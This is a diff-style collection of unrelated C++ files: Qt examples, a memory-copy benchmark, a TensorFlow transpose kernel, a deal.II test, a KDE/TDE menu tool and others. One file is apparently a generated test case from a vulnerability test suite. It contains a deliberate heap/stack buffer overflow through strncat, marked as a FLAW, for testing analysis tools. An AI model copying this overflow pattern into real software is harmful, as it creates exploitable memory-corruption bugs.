Neither the name of Digia Plc and its Subsidiary(-ies) nor the names +** of its contributors may be used to endorse or promote products derived +** from this software without specific prior written permission. +** +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include + +int main(int argc, char *argv[]) +{ + QApplication app(argc, argv); + QWidget *window = new QWidget(); +//! [create, lay out widgets and show] + QLabel *label = new QLabel(tr("Name:")); + QLineEdit *lineEdit = new QLineEdit(); + + QHBoxLayout *layout = new QHBoxLayout(); + layout->addWidget(label); + layout->addWidget(lineEdit); + window->setLayout(layout); +//! [create, lay out widgets and show] + window->setWindowTitle(tr("Window layout")); + window->show(); + return app.exec(); +} diff --git a/pool/shard011/C++/0118413_main.cpp b/pool/shard011/C++/0118413_main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e46b79268ae5225e0b67d547bc6fdb8b44f80810 --- /dev/null +++ b/pool/shard011/C++/0118413_main.cpp @@ -0,0 +1,142 @@ + +/* ======================================== + + * File Name : main.cpp + + * Creation Date : 25-08-2015 + + * Last Modified : Sat 17 Oct 2015 03:54:10 PM CEST + + * Created By : Karel Ha + + ==========================================*/ + +#include "commons.h" +#include "utils.h" +#include + +// default values from configuration for LHCb Upgrade 2 +long long number_of_iterations = 1000; +long long chunk_size = 2000000; +long long number_of_chunks = 500; +tbb::tick_count tick, tock; +void *source, *destination; +bool verbose_enabled = false; +int nthreads = 0; + +vector iteration_times; + +// returns the duration of one iteration (in seconds) +double stopwatch_an_iteration() { + tick = tbb::tick_count::now(); + + if (nthreads > 0) { + if (verbose_enabled) { + printf("Starting an iteration with %d threads...\n", nthreads); + } +#pragma omp parallel for num_threads(nthreads) + for (long long ni = 0; ni < number_of_chunks; ni++) { + memcpy(destination + ni * chunk_size, source + ni * chunk_size, chunk_size); + } + } else { + if (verbose_enabled) { + printf("Starting an iteration using dynamic team...\n"); + } +#pragma omp parallel for + for (long long ni = 0; ni < number_of_chunks; ni++) { + memcpy(destination + ni * chunk_size, source + ni * chunk_size, chunk_size); + } + } + + tock = tbb::tick_count::now(); + return (tock-tick).seconds(); +} + + +int main(int argc, char *argv[]) { + /* ------------------------------------------------------------------------ */ + /* PARSING ARGUMENTS */ + int opt; + + while ((opt = getopt(argc, argv, ":vi:c:n::ht:")) != -1) { + switch (opt) { + case 'i': + number_of_iterations = get_argument_long_value(optarg, "-i"); + if (number_of_iterations < 1) { + fprintf(stderr, "Invalid number of iterations: enter positive integer!\n"); + exit(EXIT_FAILURE); + } + break; + case 'c': + chunk_size = get_argument_long_value(optarg, "-c"); + break; + case 'n': + number_of_chunks = get_argument_long_value(optarg, "-n"); + break; + case 'v': + printf("Verbose mode enabled!\n"); + verbose_enabled = true; + break; + case 't': + nthreads = get_argument_long_value(optarg, "-t"); + break; + case 'h': + printf("Usage: %s", argv[0]); + printf(" [-i number_of_iterations] [-c chunk_size in bytes] [-n number_of_chunks] [-v enable_verbose_mode]"); + printf("\n"); + exit(EXIT_SUCCESS); + default: + fprintf(stderr, "Usage: %s", argv[0]); + fprintf(stderr, " [-i number_of_iterations] [-c chunk_size in bytes] [-n number_of_chunks] [-v enable_verbose_mode]"); + fprintf(stderr, "\n"); + exit(EXIT_FAILURE); + } + } + /* ------------------------------------------------------------------------ */ + + bool checkable = number_of_iterations * number_of_chunks * chunk_size < 1000000000; + + iteration_times.assign(number_of_iterations, 0); + double total_time = 0; + + source = try_calloc(number_of_chunks, chunk_size); + destination = try_calloc(number_of_chunks, chunk_size); + +#pragma omp parallel + { +#pragma omp master + if (verbose_enabled) { + printf("Max. %d threads available\n", omp_get_num_threads()); + } + } + + // initial iteration won't be included in the benchmarks + double initial_time = stopwatch_an_iteration(); + for (long long i = 0; i < number_of_iterations; i++) { + if (verbose_enabled) { + printf("Iteration #%d: ", i+1); + } + total_time += (iteration_times[i] = stopwatch_an_iteration()); + if (verbose_enabled && checkable) { + assert(0 == memcmp(source, destination, number_of_chunks * chunk_size)); + printf("Iteration #%d has been verified successfully...\n", i+1); + } + } + + printf("\n______________STATISTICS OF THROUGHPUTS (in GBps)______________\n"); + printf("The initial iteration: %.5f secs\n", initial_time); + create_histogram(iteration_times); + printf("_______________________________________________________________\n"); + + printf("\n____________________________SUMMARY____________________________\n"); + printf("Total time: %g secs\n", total_time); + + const unsigned long long bytes_in_gb = 1000000000; + const double total_elements = number_of_iterations * number_of_chunks * chunk_size; + const double total_size = total_elements / bytes_in_gb; + printf("Total size: %g GB\n", total_size); + + printf("Throughput: %g GBps\n", total_size / total_time); + printf("_______________________________________________________________\n"); + return 0; +} diff --git a/pool/shard011/C++/0118414_6.23.cpp b/pool/shard011/C++/0118414_6.23.cpp new file mode 100644 index 0000000000000000000000000000000000000000..614cca384393f6584d00ad797d53f7cf9f486862 --- /dev/null +++ b/pool/shard011/C++/0118414_6.23.cpp @@ -0,0 +1,60 @@ +/* + * ===================================================================================== + * + * Filename: 6.23.cpp + * + * Description: + * + * Version: 1.0 + * Created: 2015年10月21日 11时16分45秒 + * Revision: none + * Compiler: gcc + * + * Author: sun lianqiang (milton), 170262941@qq.com + * Company: Giant + * + * ===================================================================================== + */ + +/************************************************************************* + > File Name: 6/6.23.cpp + > Author: ma6174 + > Mail: ma6174@163.com + > Created Time: 2015年10月21日 星期三 11时16分45秒 + ************************************************************************/ + +#include +using namespace std; + +/* + * === FUNCTION ====================================================================== + * Name: print + * Description: + * ===================================================================================== + */ +void print (const int *pi) +{ + cout << *pi < + +#include +#include +#include +#include + +using ofstream_pool = yamail::resource_pool::async::pool>; +using time_traits = yamail::resource_pool::time_traits; + +int main() { + boost::asio::io_context service; + ofstream_pool pool(1, 10); + boost::asio::spawn(service, [&](boost::asio::yield_context yield){ + boost::system::error_code ec; + auto handle = pool.get_auto_waste(service, yield[ec], time_traits::duration::max()); + if (ec) { + std::cout << "handle error: " << ec.message() << std::endl; + return; + } + std::cout << "got resource handle" << std::endl; + if (handle.empty()) { + auto file = std::make_unique("pool.log", std::ios::app); + if (!file->good()) { + std::cout << "open file pool.log error: " << file->rdstate() << std::endl; + return; + } + handle.reset(std::move(file)); + } + *(handle.get()) << (time_traits::time_point::min() - time_traits::now()).count() << std::endl; + if (handle.get()->good()) { + handle.recycle(); + } + }); + service.run(); + return 0; +} diff --git a/pool/shard011/C++/0118416_CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad.cpp b/pool/shard011/C++/0118416_CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad.cpp new file mode 100644 index 0000000000000000000000000000000000000000..adfb249bc755a3594132313a816b659161f6a547 --- /dev/null +++ b/pool/shard011/C++/0118416_CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad.cpp @@ -0,0 +1,43 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad.cpp +Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806.label.xml +Template File: sources-sink-83_bad.tmpl.cpp +*/ +/* + * @description + * CWE: 122 Heap Based Buffer Overflow + * BadSource: Initialize data as a large string + * GoodSource: Initialize data as a small string + * Sinks: ncat + * BadSink : Copy data to string using strncat + * Flow Variant: 83 Data flow: data passed to class constructor and destructor by declaring the class object on the stack + * + * */ +#ifndef OMITBAD + +#include "std_testcase.h" +#include "CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83.h" + +namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83 +{ +CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad::CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad(char * dataCopy) +{ + data = dataCopy; + /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */ + memset(data, 'A', 100-1); /* fill with 'A's */ + data[100-1] = '\0'; /* null terminate */ +} + +CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad::~CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncat_83_bad() +{ + { + char dest[50] = ""; + /* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-strlen(dest)*/ + strncat(dest, data, strlen(data)); + dest[50-1] = '\0'; /* Ensure the destination buffer is null terminated */ + printLine(data); + delete [] data; + } +} +} +#endif /* OMITBAD */ diff --git a/pool/shard011/C++/0118419_tde-menu.cpp b/pool/shard011/C++/0118419_tde-menu.cpp new file mode 100644 index 0000000000000000000000000000000000000000..4cf7a843e2d1a91d9d46c5163fe44fe06b4a2b48 --- /dev/null +++ b/pool/shard011/C++/0118419_tde-menu.cpp @@ -0,0 +1,171 @@ +/* This file is part of the KDE libraries + * Copyright (C) 2003 Waldo Bastian + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License version 2 as published by the Free Software Foundation; + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public License + * along with this library; see the file COPYING.LIB. If not, write to + * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + * Boston, MA 02110-1301, USA. + **/ + +#include + +#include + +#include +#include + +#include "tdeaboutdata.h" +#include "tdeapplication.h" +#include "tdecmdlineargs.h" +#include "tdeglobal.h" +#include "tdelocale.h" +#include "kservice.h" +#include "kservicegroup.h" +#include "kstandarddirs.h" + +static TDECmdLineOptions options[] = { + { "utf8", I18N_NOOP("Output data in UTF-8 instead of local encoding"), 0 }, + { "print-menu-id", I18N_NOOP("Print menu-id of the menu that contains\nthe application"), 0 }, + { "print-menu-name", I18N_NOOP("Print menu name (caption) of the menu that\ncontains the application"), 0 }, + { "highlight", I18N_NOOP("Highlight the entry in the menu"), 0 }, + { "nocache-update", I18N_NOOP("Do not check if sycoca database is up to date"), 0 }, + { "+", I18N_NOOP("The id of the menu entry to locate"), 0 }, + TDECmdLineLastOption +}; + +static const char appName[] = "tde-menu"; +static const char appVersion[] = "1.0"; +static bool utf8; + +static bool bPrintMenuId; +static bool bPrintMenuName; +static bool bHighlight; + +static void result(const TQString &txt) +{ + if (utf8) + puts( txt.utf8() ); + else + puts( txt.local8Bit() ); +} + +static void error(int exitCode, const TQString &txt) +{ + tqWarning("tde-menu: %s", txt.local8Bit().data()); + exit(exitCode); +} + +static void findMenuEntry(KServiceGroup::Ptr parent, const TQString &name, const TQString &menuId) +{ + KServiceGroup::List list = parent->entries(true, true, false); + KServiceGroup::List::ConstIterator it = list.begin(); + for (; it != list.end(); ++it) + { + KSycocaEntry * e = *it; + + if (e->isType(KST_KServiceGroup)) + { + KServiceGroup::Ptr g(static_cast(e)); + + findMenuEntry(g, name.isEmpty() ? g->caption() : name+"/"+g->caption(), menuId); + } + else if (e->isType(KST_KService)) + { + KService::Ptr s(static_cast(e)); + if (s->menuId() == menuId) + { + if (bPrintMenuId) + { + result(parent->relPath()); + } + if (bPrintMenuName) + { + result(name); + } + if (bHighlight) + { + DCOPRef kicker( "kicker", "kicker" ); + bool result = kicker.call( "highlightMenuItem", menuId ); + if (!result) + error(3, TQString(i18n("Menu item '%1' could not be highlighted.").arg(menuId)).local8Bit()); + } + exit(0); + } + } + } +} + + +int main(int argc, char **argv) +{ + TDELocale::setMainCatalogue("tdelibs"); + const char *description = I18N_NOOP("TDE Menu query tool.\n" + "This tool can be used to find in which menu a specific application is shown.\n" + "The --highlight option can be used to visually indicate to the user where\n" + "in the TDE menu a specific application is located."); + + TDEAboutData d(appName, I18N_NOOP("tde-menu"), appVersion, + description, + TDEAboutData::License_GPL, "(c) 2003 Waldo Bastian"); + d.addAuthor("Waldo Bastian", I18N_NOOP("Author"), "bastian@kde.org"); + + TDECmdLineArgs::init(argc, argv, &d); + TDECmdLineArgs::addCmdLineOptions(options); + +// TDEApplication k(false, false); + TDEApplication k(false); + k.disableSessionManagement(); + + // this program is in tdelibs so it uses tdelibs as catalog + TDELocale::setMainCatalogue("tdelibs"); + + TDECmdLineArgs *args = TDECmdLineArgs::parsedArgs(); + if (args->count() != 1) + TDECmdLineArgs::usage(i18n("You must specify an application-id such as 'tde-konsole.desktop'")); + + utf8 = args->isSet("utf8"); + + bPrintMenuId = args->isSet("print-menu-id"); + bPrintMenuName = args->isSet("print-menu-name"); + bHighlight = args->isSet("highlight"); + + if (!bPrintMenuId && !bPrintMenuName && !bHighlight) + TDECmdLineArgs::usage(i18n("You must specify at least one of --print-menu-id, --print-menu-name or --highlight")); + + if (args->isSet("cache-update")) + { + TQStringList args; + args.append("--incremental"); + args.append("--checkstamps"); + TQString command = "tdebuildsycoca"; + TQCString _launcher = TDEApplication::launcher(); + if (!DCOPRef(_launcher, _launcher).call("tdeinit_exec_wait", command, args).isValid()) + { + tqWarning("Can't talk to tdelauncher!"); + command = TDEGlobal::dirs()->findExe(command); + command += " " + args.join(" "); + system(command.local8Bit()); + } + } + + TQString menuId = TQFile::decodeName(args->arg(0)); + KService::Ptr s = KService::serviceByMenuId(menuId); + + if (!s) + error(1, i18n("No menu item '%1'.").arg(menuId)); + + findMenuEntry(KServiceGroup::root(), "", menuId); + + error(2, i18n("Menu item '%1' not found in menu.").arg(menuId)); + return 2; +} + diff --git a/pool/shard011/C++/0118420_transpose_op.cc b/pool/shard011/C++/0118420_transpose_op.cc new file mode 100644 index 0000000000000000000000000000000000000000..530e333bff807dc7d77a32ff358a8d7f42d7e162 --- /dev/null +++ b/pool/shard011/C++/0118420_transpose_op.cc @@ -0,0 +1,176 @@ +/* Copyright 2015 Google Inc. All Rights Reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +==============================================================================*/ + +// See docs in ../ops/array_ops.cc. + +#define EIGEN_USE_THREADS + +#include "tensorflow/core/kernels/transpose_op.h" + +#include "tensorflow/core/framework/op_kernel.h" +#include "tensorflow/core/framework/register_types.h" +#include "tensorflow/core/framework/tensor.h" +#include "tensorflow/core/framework/tensor_shape.h" +#include "tensorflow/core/kernels/transpose_op_functor.h" +#include "tensorflow/core/lib/core/status.h" +#include "tensorflow/core/lib/strings/str_util.h" +#include "tensorflow/core/platform/logging.h" + +namespace tensorflow { + +// inv = InvertPermutationOp(T p) takes a permutation of +// integers 0, 1, ..., n - 1 and returns the inverted +// permutation of p. I.e., inv[p[i]] == i, for i in [0 .. n). +// +// REQUIRES: input is a vector of int32. +// REQUIRES: input is a permutation of 0, 1, ..., n-1. + +class InvertPermutationOp : public OpKernel { + public: + explicit InvertPermutationOp(OpKernelConstruction* context) + : OpKernel(context) {} + + void Compute(OpKernelContext* context) override { + const Tensor& input = context->input(0); + OP_REQUIRES( + context, TensorShapeUtils::IsVector(input.shape()), + errors::InvalidArgument("invert_permutation expects a 1D vector.")); + auto Tin = input.vec(); + const int N = Tin.size(); + Tensor* output = nullptr; + OP_REQUIRES_OK(context, + context->allocate_output(0, input.shape(), &output)); + auto Tout = output->vec(); + std::fill_n(Tout.data(), N, -1); + for (int i = 0; i < N; ++i) { + const int32 d = Tin(i); + OP_REQUIRES(context, 0 <= d && d < N, + errors::InvalidArgument(d, " is not between 0 and ", N)); + OP_REQUIRES(context, Tout(d) == -1, + errors::InvalidArgument(d, " is duplicated in the input.")); + Tout(d) = i; + } + } +}; + +REGISTER_KERNEL_BUILDER(Name("InvertPermutation").Device(DEVICE_CPU), + InvertPermutationOp); + +REGISTER_KERNEL_BUILDER(Name("InvertPermutation") + .Device(DEVICE_GPU) + .HostMemory("x") + .HostMemory("y"), + InvertPermutationOp); + +// output = TransposeOp(T input, T perm) takes a tensor +// of type T and rank N, and a permutation of 0, 1, ..., N-1. It +// shuffles the dimensions of the input tensor according to permutation. +// +// Specifically, the returned tensor output meets the following condition: +// 1) output.dims() == input.dims(); +// 2) output.dim_size(i) == input.dim_size(perm[i]); +// 3) output.tensor(i_0, i_1, ..., i_N-1) == +// input.tensor(j_0, j_1, ..., j_N-1), +// where i_s == j_{perm[s]} +// +// REQUIRES: perm is a vector of int32. +// REQUIRES: input.dims() == perm.size(). +// REQUIRES: perm is a permutation. + +void TransposeOp::Compute(OpKernelContext* ctx) { + const Tensor& input = ctx->input(0); + const Tensor& perm = ctx->input(1); + // Preliminary validation of sizes. + OP_REQUIRES(ctx, TensorShapeUtils::IsVector(perm.shape()), + errors::InvalidArgument("perm must be a vector, not ", + perm.shape().DebugString())); + auto Vperm = perm.vec(); + const int dims = input.dims(); + static const int kMinDims = 0; + static const int kMaxDims = 10; + OP_REQUIRES(ctx, kMinDims <= dims && dims <= kMaxDims, + errors::Unimplemented("Transposing a tensor of rank ", dims, + " is not implemented.")); + OP_REQUIRES(ctx, dims == Vperm.size(), + errors::InvalidArgument( + "transpose expects a vector of size ", input.dims(), + ". But input(1) is a vector of size ", Vperm.size())); + gtl::ArraySlice permutation( + reinterpret_cast(Vperm.data()), dims); + TensorShape shape; + + // Check whether permutation is a permutation of integers of [0 .. dims). + gtl::InlinedVector bits(dims); + for (const int32 d : permutation) { + OP_REQUIRES( + ctx, 0 <= d && d < dims, + errors::InvalidArgument(d, " is out of range [0 .. ", dims, ")")); + bits[d] = true; + shape.AddDim(input.dim_size(d)); + } + for (int i = 0; i < dims; ++i) { + OP_REQUIRES(ctx, bits[i], errors::InvalidArgument( + i, " is missing from {", + str_util::Join(permutation, ","), "}.")); + } + + // 0-D and 1-D transposes do nothing + if (dims <= 1) { + ctx->set_output(0, input); + return; + } + + Tensor* output = nullptr; + OP_REQUIRES_OK(ctx, ctx->allocate_output(0, shape, &output)); + if (shape.num_elements() > 0) { + OP_REQUIRES_OK(ctx, DoTranspose(ctx, input, permutation, output)); + } +} + +Status TransposeCpuOp::DoTranspose(OpKernelContext* ctx, const Tensor& in, + gtl::ArraySlice perm, Tensor* out) { + typedef Eigen::ThreadPoolDevice CPUDevice; + return ::tensorflow::DoTranspose(ctx->eigen_device(), in, perm, + out); +} + +#define REGISTER(T) \ + REGISTER_KERNEL_BUILDER(Name("Transpose") \ + .Device(DEVICE_CPU) \ + .TypeConstraint("T") \ + .HostMemory("perm"), \ + TransposeCpuOp); +TF_CALL_ALL_TYPES(REGISTER) +#undef REGISTER + +#if GOOGLE_CUDA +Status TransposeGpuOp::DoTranspose(OpKernelContext* ctx, const Tensor& in, + gtl::ArraySlice perm, Tensor* out) { + typedef Eigen::GpuDevice GPUDevice; + return ::tensorflow::DoTranspose(ctx->eigen_device(), in, perm, + out); +} + +#define REGISTER(T) \ + REGISTER_KERNEL_BUILDER(Name("Transpose") \ + .Device(DEVICE_GPU) \ + .TypeConstraint("T") \ + .HostMemory("perm"), \ + TransposeGpuOp); +TF_CALL_NUMBER_TYPES(REGISTER); +#undef REGISTER +#endif + +} // namespace tensorflow diff --git a/pool/shard011/C++/0118421_measure_et_al_02.cc b/pool/shard011/C++/0118421_measure_et_al_02.cc new file mode 100644 index 0000000000000000000000000000000000000000..1d5eef3c2fa0b5991a613e0091ef3598ef817fdd --- /dev/null +++ b/pool/shard011/C++/0118421_measure_et_al_02.cc @@ -0,0 +1,121 @@ +// --------------------------------------------------------------------- +// +// Copyright (C) 2005 - 2014 by the deal.II authors +// +// This file is part of the deal.II library. +// +// The deal.II library is free software; you can use it, redistribute +// it, and/or modify it under the terms of the GNU Lesser General +// Public License as published by the Free Software Foundation; either +// version 2.1 of the License, or (at your option) any later version. +// The full text of the license can be found in the file LICENSE at +// the top level of the deal.II distribution. +// +// --------------------------------------------------------------------- + + +// Computes diameter, extent_in_direction, and minimum_vertex_distance on a variety of cells + +#include "../tests.h" +#include +#include +#include +#include +#include +#include + +#define PRECISION 5 + + +template +void create_triangulation(const unsigned int, + Triangulation &) +{ + Assert(false, ExcNotImplemented()); +} + + +template<> +void create_triangulation(const unsigned int case_no, + Triangulation<2> &tria) +{ + switch (case_no) + { + case 0: + GridGenerator::hyper_cube(tria, 1., 3.); + break; + case 1: + { + GridGenerator::hyper_cube(tria, 1., 3.); + Point<2> &v0=tria.begin_active()->vertex(0); + v0(0) = 0.; + break; + } + case 2: + { + GridGenerator::hyper_cube(tria, 1., 3.); + Point<2> &v0=tria.begin_active()->vertex(0); + v0(0) = 0.; + Point<2> &v3=tria.begin_active()->vertex(3); + v3(0) = 4.; + break; + } + default: + Assert(false, ExcNotImplemented()); + }; +} + + +template<> +void create_triangulation(const unsigned int case_no, + Triangulation<3> &tria) +{ + switch (case_no) + { + case 0: + GridGenerator::hyper_cube(tria, 1., 3.); + break; + case 1: + case 2:// like case 1 + { + GridGenerator::hyper_cube(tria, 1., 3.); + Point<3> &v0=tria.begin_active()->vertex(0); + v0(0) = 0.; + break; + } + default: + Assert(false, ExcNotImplemented()); + }; +} + + +template +void test() +{ + Triangulation tria; + for (unsigned int case_no=0; case_no<3; ++case_no) + { + create_triangulation(case_no, tria); + deallog << "dim" << dim << ":case" << case_no << ":diameter=" + << tria.begin_active()->diameter() << std::endl; + deallog << "dim" << dim << ":case" << case_no << ":extent_in_direction=" + << tria.begin_active()->extent_in_direction(0) << std::endl; + deallog << "dim" << dim << ":case" << case_no << ":minimum_vertex_distance=" + << tria.begin_active()->minimum_vertex_distance() << std::endl; + tria.clear(); + } +} + + +int main() +{ + std::ofstream logfile ("output"); + deallog << std::setprecision (PRECISION); + deallog.attach(logfile); + deallog.depth_console(0); + deallog.threshold_double(1.e-10); + + test<2>(); + test<3>(); +} + diff --git a/pool/shard011/C++/0118422_HDU4882.cpp b/pool/shard011/C++/0118422_HDU4882.cpp new file mode 100644 index 0000000000000000000000000000000000000000..29c916cefed7e16922b90cabc2636bb1bb85ccdf --- /dev/null +++ b/pool/shard011/C++/0118422_HDU4882.cpp @@ -0,0 +1,33 @@ +#include"iostream" +#include"cstdio" +#include"algorithm" +#include"cstring" +using namespace std; +const int ms=1e5+1; +struct Node +{ + int t; + int v; +}a[ms]; +bool cmp(const Node &a,const Node &b) +{ + return a.t*b.v. * + * * + ***************************************************************************/ +/** + * @file GModelSpectralRegistry.cpp + * @brief Spectral model registry class implementation + * @author Juergen Knoedlseder + */ + +/* __ Includes ___________________________________________________________ */ +#ifdef HAVE_CONFIG_H +#include +#endif +#include "GModelSpectralRegistry.hpp" +#include "GException.hpp" +#include "GTools.hpp" + +/* __ Static members _____________________________________________________ */ +int GModelSpectralRegistry::m_number(0); +std::string* GModelSpectralRegistry::m_names(0); +const GModelSpectral** GModelSpectralRegistry::m_models(0); + +/* __ Method name definitions ____________________________________________ */ +#define G_NAME "GModelSpectralRegistry::name(int&)" + +/* __ Macros _____________________________________________________________ */ + +/* __ Coding definitions _________________________________________________ */ + +/* __ Debug definitions __________________________________________________ */ +#define G_DEBUG_REGISTRY 0 + + +/*========================================================================== + = = + = Constructors/destructors = + = = + ==========================================================================*/ + +/***********************************************************************//** + * @brief Void constructor + ***************************************************************************/ +GModelSpectralRegistry::GModelSpectralRegistry(void) +{ + // Initialise private members for clean destruction + init_members(); + + // Debug option: Show actual registry + #if G_DEBUG_REGISTRY + std::cout << "GModelSpectralRegistry(void): "; + for (int i = 0; i < m_number; ++i) + std::cout << "\"" << m_names[i] << "\" "; + std::cout << std::endl; + #endif + + // Return + return; +} + + +/***********************************************************************//** + * @brief Model constructor + * + * @param[in] model Model. + ***************************************************************************/ +GModelSpectralRegistry::GModelSpectralRegistry(const GModelSpectral* model) +{ + // Initialise private members for clean destruction + init_members(); + + // Debug option: Notify new registry + #if G_DEBUG_REGISTRY + std::cout << "GModelSpectralRegistry(const GModelSpatial*): "; + std::cout << "add \"" << model->type() << "\" to registry." << std::endl; + #endif + + // Allocate new old registry + std::string* new_names = new std::string[m_number+1]; + const GModelSpectral** new_models = new const GModelSpectral*[m_number+1]; + + // Save old registry + for (int i = 0; i < m_number; ++i) { + new_names[i] = m_names[i]; + new_models[i] = m_models[i]; + } + + // Add new model to registry + new_names[m_number] = model->type(); + new_models[m_number] = model; + + // Delete old registry + if (m_names != NULL) delete [] m_names; + if (m_models != NULL) delete [] m_models; + + // Set pointers on new registry + m_names = new_names; + m_models = new_models; + + // Increment number of models in registry + m_number++; + + // Debug option: Show actual registry + #if G_DEBUG_REGISTRY + std::cout << "GModelSpectralRegistry(const GModelSpatial*): "; + for (int i = 0; i < m_number; ++i) { + std::cout << "\"" << m_names[i] << "\" "; + } + std::cout << std::endl; + #endif + + // Return + return; +} + + +/***********************************************************************//** + * @brief Copy constructor + * + * @param[in] registry Registry. + ***************************************************************************/ +GModelSpectralRegistry::GModelSpectralRegistry(const GModelSpectralRegistry& registry) +{ + // Initialise private members + init_members(); + + // Copy members + copy_members(registry); + + // Return + return; +} + + +/***********************************************************************//** + * @brief Destructor + ***************************************************************************/ +GModelSpectralRegistry::~GModelSpectralRegistry(void) +{ + // Free members + free_members(); + + // Return + return; +} + + +/*========================================================================== + = = + = Operators = + = = + ==========================================================================*/ + +/***********************************************************************//** + * @brief Assignment operator + * + * @param[in] registry Registry. + * @return Reference to registry. + ***************************************************************************/ +GModelSpectralRegistry& GModelSpectralRegistry::operator= (const GModelSpectralRegistry& registry) +{ + // Execute only if object is not identical + if (this != ®istry) { + + // Free members + free_members(); + + // Initialise private members + init_members(); + + // Copy members + copy_members(registry); + + } // endif: object was not identical + + // Return + return *this; +} + + +/*========================================================================== + = = + = Public methods = + = = + ==========================================================================*/ + +/***********************************************************************//** + * @brief Allocate spectral model of given name + * + * @param[in] name Spectral model name. + * @return Pointer to spectral model (NULL if name is not registered). + * + * Returns a pointer to a spectral model instance of the specified name. + * If the name has not been found in the registry, a NULL pointer is + * returned. + ***************************************************************************/ +GModelSpectral* GModelSpectralRegistry::alloc(const std::string& name) const +{ + // Initialise spectral model + GModelSpectral* model = NULL; + + // Search for model in registry + for (int i = 0; i < m_number; ++i) { + if (m_names[i] == name) { + model = m_models[i]->clone(); + break; + } + } + + // Return spectral model + return model; +} + + +/***********************************************************************//** + * @brief Returns model name + * + * @param[in] index Model index [0,...,size()-1]. + * @return Model name. + * + * @exception GException::out_of_range + * Model index is out of range. + ***************************************************************************/ +std::string GModelSpectralRegistry::name(const int& index) const +{ + // Compile option: raise exception if index is out of range + #if defined(G_RANGE_CHECK) + if (index < 0 || index >= size()) { + throw GException::out_of_range(G_NAME, index, 0, size()-1); + } + #endif + + // Return name + return (m_names[index]); +} + + +/***********************************************************************//** + * @brief Print registry information + * + * @return Registry content. + ***************************************************************************/ +std::string GModelSpectralRegistry::print(void) const +{ + // Initialise result string + std::string result; + + // Append header + result.append("=== GModelSpectralRegistry ==="); + result.append("\n"+parformat("Number of models")+str(m_number)); + + // Append models + for (int i = 0; i < m_number; ++i) { + result.append("\n"+parformat(m_names[i])); + result.append(m_models[i]->type()); + } + + // Return result + return result; +} + +/*========================================================================== + = = + = Private methods = + = = + ==========================================================================*/ + +/***********************************************************************//** + * @brief Initialise class members + ***************************************************************************/ +void GModelSpectralRegistry::init_members(void) +{ + // Return + return; +} + + +/***********************************************************************//** + * @brief Copy class members + * + * @param[in] registry Registry. + ***************************************************************************/ +void GModelSpectralRegistry::copy_members(const GModelSpectralRegistry& registry) +{ + // Return + return; +} + + +/***********************************************************************//** + * @brief Delete class members + ***************************************************************************/ +void GModelSpectralRegistry::free_members(void) +{ + // Return + return; +} diff --git a/pool/shard011/C++/0118424_qpatternmatchingfns.cpp b/pool/shard011/C++/0118424_qpatternmatchingfns.cpp new file mode 100644 index 0000000000000000000000000000000000000000..1db69a5de49a8426d88c7cd6fe362c3ce4521faa --- /dev/null +++ b/pool/shard011/C++/0118424_qpatternmatchingfns.cpp @@ -0,0 +1,230 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtXmlPatterns module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: 